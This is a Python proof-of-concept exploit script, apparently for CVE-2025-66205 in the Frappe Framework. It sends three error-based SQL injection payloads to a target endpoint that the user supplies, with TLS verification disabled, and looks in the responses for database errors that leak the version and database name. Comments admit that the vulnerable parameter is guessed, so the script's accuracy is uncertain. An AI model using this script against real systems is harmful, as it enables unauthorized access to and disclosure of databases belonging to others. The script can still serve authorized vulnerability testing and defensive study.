import requests
import sys
# CVE-2025-66205 SQL Injection PoC for Frappe Framework
# Target: Frappe versions < 15.86.0 and < 14.99.2
def exploit_sql_injection(target_url, endpoint):
"""
Error-based SQL injection PoC
Tests for SQL injection vulnerability in Frappe endpoint
"""
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
}
# Test payload - extract database version using error-based injection
# This payload exploits the lack of parameter validation
payloads = [
"test' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--",
"test' AND UPDATEXML(1,CONCAT(0x7e,(SELECT database())),1)--",
"test' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT version()),
FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)--"
]
print(f"[*] Testing target: {target_url}")
print(f"[*] Target endpoint: {endpoint}")
for i, payload in enumerate(payloads, 1):
print(f"\n[+] Testing payload {i}/3...")
print(f"[*] Payload: {payload}")
try:
# Adjust data parameter based on actual vulnerable parameter
data = {
'cmd': payload, # Common parameter in Frappe API
'doctype': 'User',
'name': 'Administrator'
}
response = requests.post(
f"{target_url}{endpoint}",
data=data,
headers=headers,
timeout=10,
verify=False
)
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response Length: {len(response.text)}")
# Check for SQL error signatures in response
error_signatures = [
'XPATH', 'MySQL', 'syntax', 'SQL', 'mysql',
'You have an error in your SQL',
'Warning: mysql',
'sqlite3.OperationalError',
'ProgrammingError'
]
for signature in error_signatures:
if signature in response.text:
print(f"[!] SQL Error detected: {signature}")
print(f"[!] Vulnerable to SQL Injection!")
print(f"\n[+] Partial response:")
print(response.text[:500])
return True
except requests.exceptions.RequestException as e:
print(f"[!] Request failed: {e}")
continue
print("\n[-] No SQL injection detected with test payloads")
return False
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python cve-2025-66205_poc.py <target_url> <endpoint>")
print("Example: python cve-2025-66205_poc.py http://vulnerable-site.com /api/method/endpoint")
sys.exit(1)
target = sys.argv[1].rstrip('/')
endpoint = sys.argv[2]
exploit_sql_injection(target, endpoint)